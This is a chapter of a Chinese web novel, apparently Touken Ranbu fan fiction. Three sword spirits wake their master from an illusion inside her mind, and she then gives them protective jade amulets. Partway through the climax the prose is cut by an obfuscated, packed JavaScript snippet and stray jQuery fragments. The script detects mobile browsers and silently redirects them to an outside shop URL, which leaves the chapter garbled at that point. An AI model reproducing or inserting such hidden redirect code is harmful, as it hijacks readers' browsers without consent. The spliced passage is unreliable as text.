48.本丸

作品:《我玩了八年的游戏活了?!

    幻境坍塌所造成的光点与流光相互交织,就像是夜幕中的璀璨星河。


    其尽头并非光明。


    而是一片更深、更沉的黑暗。不是虚无的黑暗,而是粘稠的、仿佛能吞噬一切声响与光线的浓稠阴影。药研、加州清光、鹤丸国永从光流中跌出,落在某种无形的地面上——脚下没有实体触感,却又不会下坠。


    “这里是……”加州清光稳住身形,警惕地环顾四周。他手腕上的灵力环已经开始变红,这也意味着他们的时间所剩无几。


    药研的目光锁定前方。


    黑暗中,有一点微光。


    那是很柔和的光,不像幻境中虚假的太阳,也不像记忆碎片那般刺目。它静静地悬在远处,像深海中的一颗珍珠,又像暴风雨夜里遥远灯塔上的一星火苗。


    光晕中心,隐约可见一个蜷缩的身影。


    是上官苍凌。不是幻境中那个十五六岁、校服整齐的少女,是和现实模样一样的她。


    穿着简单的白色单衣,长发披散,赤足抱膝坐在那里,下巴抵在膝盖上,眼睛闭着。周身被一层极淡的、近乎透明的金色薄膜包裹——那是她自身灵力形成的最后屏障,也是将她与外界隔绝的茧。


    而在那层薄膜之外,黑暗正在蠕动。


    无数阴影从四面八方汇聚,它们没有固定形状,时而化作狰狞的触手试图刺穿薄膜,时而变成温柔的人形轻声呢喃,时而又散作雾气缭绕不去。


    每一次触碰,薄膜都会微微震颤,金光随之明灭不定。


    “主公……”加州清光下意识想冲过去。


    “等等。”药研抓住他的手臂,声音压得很低,“那层薄膜是主将自己最后的防护。强行突破,可能会伤到她。”


    鹤丸国永难得敛去了所有玩笑神色。他凝视着那片黑暗,白色的身影在漆黑背景下几乎要融化:“那个‘东西’的本体,就在那里吧。它在不断侵蚀主公的意识屏障。”


    话音刚落,黑暗中传来一声轻笑。


    声音很轻,却清晰地传入三人耳中。不是之前虚影那种模仿上官苍凌的声线,而是某种更本质、更空洞的东西,仿佛万物回声凝聚成的诡音。


    “你们还是来了。”黑暗蠕动,渐渐凝聚成一个人形轮廓——依旧顶着上官苍凌的外貌,但五官模糊,只有一双眼睛亮得瘆人,里面没有任何属于人类的情绪,“真是顽强啊。但你们看看她——”


    它指向光晕中沉睡的少女。


    “她多累啊。现世的压力,保护历史的责任,刀剑的期待,……这么多重担,她一个人扛了多久?”黑暗的声线变得温柔,充满蛊惑,“在这里多好。没有痛苦,没有责任,只有她最想要的美好记忆。你们口口声声说爱她、敬她、要守护她,却忍心把她叫醒,再推回那个残酷的现实?”


    加州清光的手按在了本体刀上,指节发白:“闭嘴!主公才不是逃避的人!”


    “是吗?”黑暗中的传来阵阵低笑声,“可你们也知道她要强,能自己解决的事从来不寻求帮助。与其把所有事情都扛在自己肩上,让她轻松一些难道不好吗?”


    沉默。


    沉重的、令人窒息的沉默。


    药研缓缓闭上眼睛。再睁开时,紫眸深处燃烧着某种决绝的火焰。


    “你说得对。”他开口,声音平静得可怕,“大将确实总是勉强自己。”


    黑暗似乎满意地波动了一下。


    “但是——”药研向前一步,声音陡然拔高,“正因如此,我们才更不能让她留在这里!”


    “我们比你更了解她,无论现实再怎么疲惫,大将永远不会沉迷于虚假缥缈的幻境中!”


    加州清光拔出刀,刀身在黑暗中划出一道凛冽的弧光:“主公选择的路,我们会陪她走到底!痛苦也好,艰难也罢,我们一起扛!这才不是什么‘为了她好’——这是对她的侮辱!”


    鹤丸国永笑了。那笑容灿烂得像要撕裂这片黑暗:“哎呀呀,把主公说得那么可怜,我可是会生气的哦?我们的主君啊,可是比你们这些躲在阴影里的东西,要强大太多太多了!”


    话音落下的刹那,萦绕在他们周身的流光朝着中心的上官苍凌涌去。


    那是本丸所有刀剑祈愿之力的最后残响,也是他们与主君之间,最深、最坚韧的羁绊!


    “就是现在!”药研暴喝一声。


    三人同时冲向那层金色薄膜!


    黑暗发出尖锐的嘶吼,无数触手从四面八方扑来,试图拦截。加州清光挥刀斩断最前方的几根,鹤丸以惊人的速度穿梭在触手的间隙中,药研则将所有灵力凝聚于一点——


    “大将!醒来!!”


    他的声音不是喊出来的,而是某种灵魂层面的冲击,裹挟着本丸所有的祈愿、所有的牵挂、所有未曾说出口的心意,狠狠撞向那层薄膜!


    薄膜剧烈震颤!


    光晕中的少女睫毛颤动了一下。


    药研的冲击撞上薄膜的刹那,那层金色屏障没有破碎,而是如同水波般荡漾开来,将那股力量温柔地吸收、融合。


    然后,它开始向内收缩。


    一点一点,像退潮般融回少女的身体。


    光晕逐渐黯淡,黑暗发出不甘的咆哮,却无法阻止这过程。因为这不是外力的强行突破,而是意识本身,从内部苏醒了。


    蜷缩的少女,缓缓松开了抱膝的手臂。


    她抬起头,睁开了眼睛。


    那是一双怎样的眼睛啊——不再是幻境中十五岁少女的青涩锐利,也不是平时作为审神者的冷静睿智。它沉淀了太多东西:经历过的痛苦,享受过的喜悦,背负的责任,收获的羁绊,所有真实记忆的厚重与光芒。


    她看向药研、加州清光、鹤丸国永。


    目光触及的瞬间,三人手腕上的灵力环已经变得赤红,他们停留不了太久。


    但没关系了。


    因为主君已经看到了他们。


    “药研,清光,鹤丸。”上官苍凌开口,声音有些沙哑,却带着毋庸置疑的真实感,“辛苦你们了。”


    她站起身,赤足踏在无形的黑暗中。每走一步,脚下就漾开一圈金色的涟漪。那些涟漪扩散开来,所过之处,黑暗如潮水般退却、消融。


    黑暗凝聚的人形发出凄厉的尖叫:“不!你不能走!这里才是你该待的地方!现实只会伤害你!背叛你!抛弃你!”


    上官苍凌停住脚步,望着它,漆黑的瞳孔中闪着狠意


    “你算什么东西,有什么资格来替我做决定?”


    话音落下,她伸出手,五指张开。


    不再是之前绞杀虚影时的金线,而是更为磅礴、更为纯粹的灵力洪流,从她掌心奔涌而出!那不是攻击,而是“宣告”——对此处空间所有权、对她自身意识主导权的最终宣告!<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294564|194260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    黑暗如同被阳光直射的冰雪,飞速消融、蒸发,连最后的悲鸣都被灵力洪流彻底吞没。


    整个空间开始崩塌。


    不是幻境切换时那种温柔的淡化,而是彻底的、结构性的瓦解。黑暗褪去,露出底下支离破碎的记忆画面——它们不再被扭曲、被利用,而是如归巢的鸟,纷纷飞向上官苍凌,融入她的身体,回归它们本来的位置。


    灵力将药研他们温和的包裹住,在离开的那一瞬,他们听到主君温和的声音


    “让我们在现实中相聚吧”


    墨梅正坐在上官苍凌的床边,在察觉到属于上官苍凌的灵力时,她眉宇间的忧愁散去,心中的一块大石头终于落下。与此同时,她也想要松涛、青岚传达这个好消息。


    松涛和青岚,在得知上官苍凌昏迷不醒的时,他们都生出把时政推翻一家独大的心思了,真是见鬼了他们好不容易盼来的有天赋的小辈,第一次任务就意外频出。


    不从时政身上扒层皮下来作为补偿,那他们这些长辈也太无能了。在收到墨梅的传讯后,他们高悬的心也平稳落地,可以专心和时政的人扯皮了。


    上官苍凌恢复意识睁开眼的瞬间,就看到了温柔注视着自己的墨梅,在一瞬间的愣神之后微微一笑。


    “早上好。”


    墨梅泄气一笑,伸手轻揪了一下上官苍凌的脸颊:“下次别当睡美人了,我年纪大了受不起惊吓。”


    上官苍凌坐起身,她看着一旁还未醒来的刀剑们,索性就起床披了件外套,等着他们。虽说有着契约,但也属于潜意识的入侵者,需要点时间才能醒来。


    “唔……主公。”加州清光还未完全恢复,捂着头低声的呢喃着。


    “清光。”


    听到熟悉的、温柔的呼唤声,他瞬间望去。身披羊绒外套的主公,正目光温和的看着自己,下意识的他鼻尖一酸,眼眶微红,扑进了上官苍凌的怀中。


    “太好了……主公你醒了。”


    突然被抱住的上官苍凌愣了一下,她低头看着埋进自己腰腹的初始刀,闷笑了两声,调侃道:


    “清光这是在撒娇吗?”


    她轻轻拍了拍清光的后背,看着药研和鹤丸单手扶腰的无奈模样


    “这次睡得有点久了,抱歉哦。不过……我有惊喜给你们,虽然这个场合送比较奇怪。”


    上官苍凌笑了笑,身边升起灵力的点点星光,被她藏起的礼盒有序的从天守阁飞出,唯有面前三振刀剑的礼盒悬空在他们面前。


    “打开看看吧”


    加州清光小心翼翼的拆开包装,一枚弧边三角玉佩,形如凝敛的刀尖。主体是赤玉髓,边缘镶一道黑曜石。正面浮雕刻互目钉纹,背面阴刻流云状“诚”字与一行细铭。


    下缀红黑金三色流苏,还系着金珠。


    而药研的是一方玄黑墨玉,形如短刀,轮廓冷硬。正面刻十字星纹与刚劲的桔梗花;背面阴刻棋盘格与守护铭文。上缘嵌冷银细边,坠以黑白相间的流苏。


    鹤丸国永嘴角微扬,看着手中和他猜想略有不同的玉佩。


    是由一枚墨玉琢成的鹤翼。中心却劈入一道闪电状纯白冰种翡翠,如雪刃破夜。羽纹流转间隐现虹彩,上缘以银爪如喙紧扣。


    三枚玉佩除了独特设计的外形,还有里面暗藏的保护阵法,这也是上官苍凌送给刀剑们独特的、独一无二的护身符。